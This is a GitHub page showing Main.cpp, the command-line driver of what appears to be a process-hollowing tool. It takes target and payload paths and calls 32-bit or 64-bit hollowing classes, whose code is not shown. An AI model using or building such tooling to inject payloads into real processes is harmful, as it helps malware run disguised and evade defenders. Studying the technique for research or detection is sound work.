-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathMain.cpp
More file actions
87 lines (71 loc) · 2.5 KB
/
Main.cpp
File metadata and controls
87 lines (71 loc) · 2.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include "HollowingInterface.hpp"
#ifdef _WIN64
#include "Hollowing64Bit.hpp"
#endif
#include "Hollowing32Bit.hpp"
#include "exceptions/IncompatibleImagesException.hpp"
#include <string>
#include <iostream>
#include <memory>
const int IMAGE_PATH_ARGUMENT_INDEX = 0;
const int TARGET_PATH_ARGUMENT_INDEX = 1;
const int PAYLOAD_PATH_ARGUMENT_INDEX = 2;
const int REQUIRED_COMMAND_LINE_ARGUMENTS = 2 + 1; // Plus one because of the always-included path of the image
template<typename T>
bool tryConstructProcessHollowing(std::unique_ptr<HollowingInterface>& holderPointer, std::string& exceptionMessage,
const std::string& targetPath, const std::string& payloadPath)
{
try
{
holderPointer = std::make_unique<T>(targetPath, payloadPath);
return true;
}
catch (std::exception& exception)
{
exceptionMessage = exception.what();
return false;
}
}
int main(int argc, char* argv[])
{
if (argc < REQUIRED_COMMAND_LINE_ARGUMENTS)
{
std::cerr << "Not enough arguments!" << std::endl;
std::cerr << "Format: " + std::string(argv[IMAGE_PATH_ARGUMENT_INDEX]) + " <Target_Path> <Payload_Path>" << std::endl;
return 1;
}
std::unique_ptr<HollowingInterface> hollowing;
std::string targetPath(argv[TARGET_PATH_ARGUMENT_INDEX]);
std::string payloadPath(argv[PAYLOAD_PATH_ARGUMENT_INDEX]);
#ifdef _WIN64
std::string hollowing64Exception;
std::string hollowing32Exception;
if (!(tryConstructProcessHollowing<Hollowing64Bit>(hollowing, hollowing64Exception, targetPath, payloadPath) ||
tryConstructProcessHollowing<Hollowing32Bit>(hollowing, hollowing32Exception, targetPath, payloadPath)))
{
std::cerr << "Failed to hollow 64 bit: " << hollowing64Exception << std::endl;
std::cerr << "Failed to hollow 32 bit: " << hollowing32Exception << std::endl;
std::cerr << std::endl << "Cannot proceed!" << std::endl;
return 1;
}
#else
std::string exceptionMessage;
if (!tryConstructProcessHollowing<Hollowing32Bit>(hollowing, exceptionMessage, targetPath, payloadPath))
{
std::cerr << "Failed to hollow 32 bit: " << exceptionMessage << std::endl;
std::cerr << std::endl << "Cannot proceed!" << std::endl;
return 1;
}
#endif
try
{
hollowing->hollow();
}
catch (std::exception& exception)
{
std::cerr << exception.what() << std::endl;
return 1;
}
std::cout << "Successfully hollowed!" << std::endl;
return 0;
}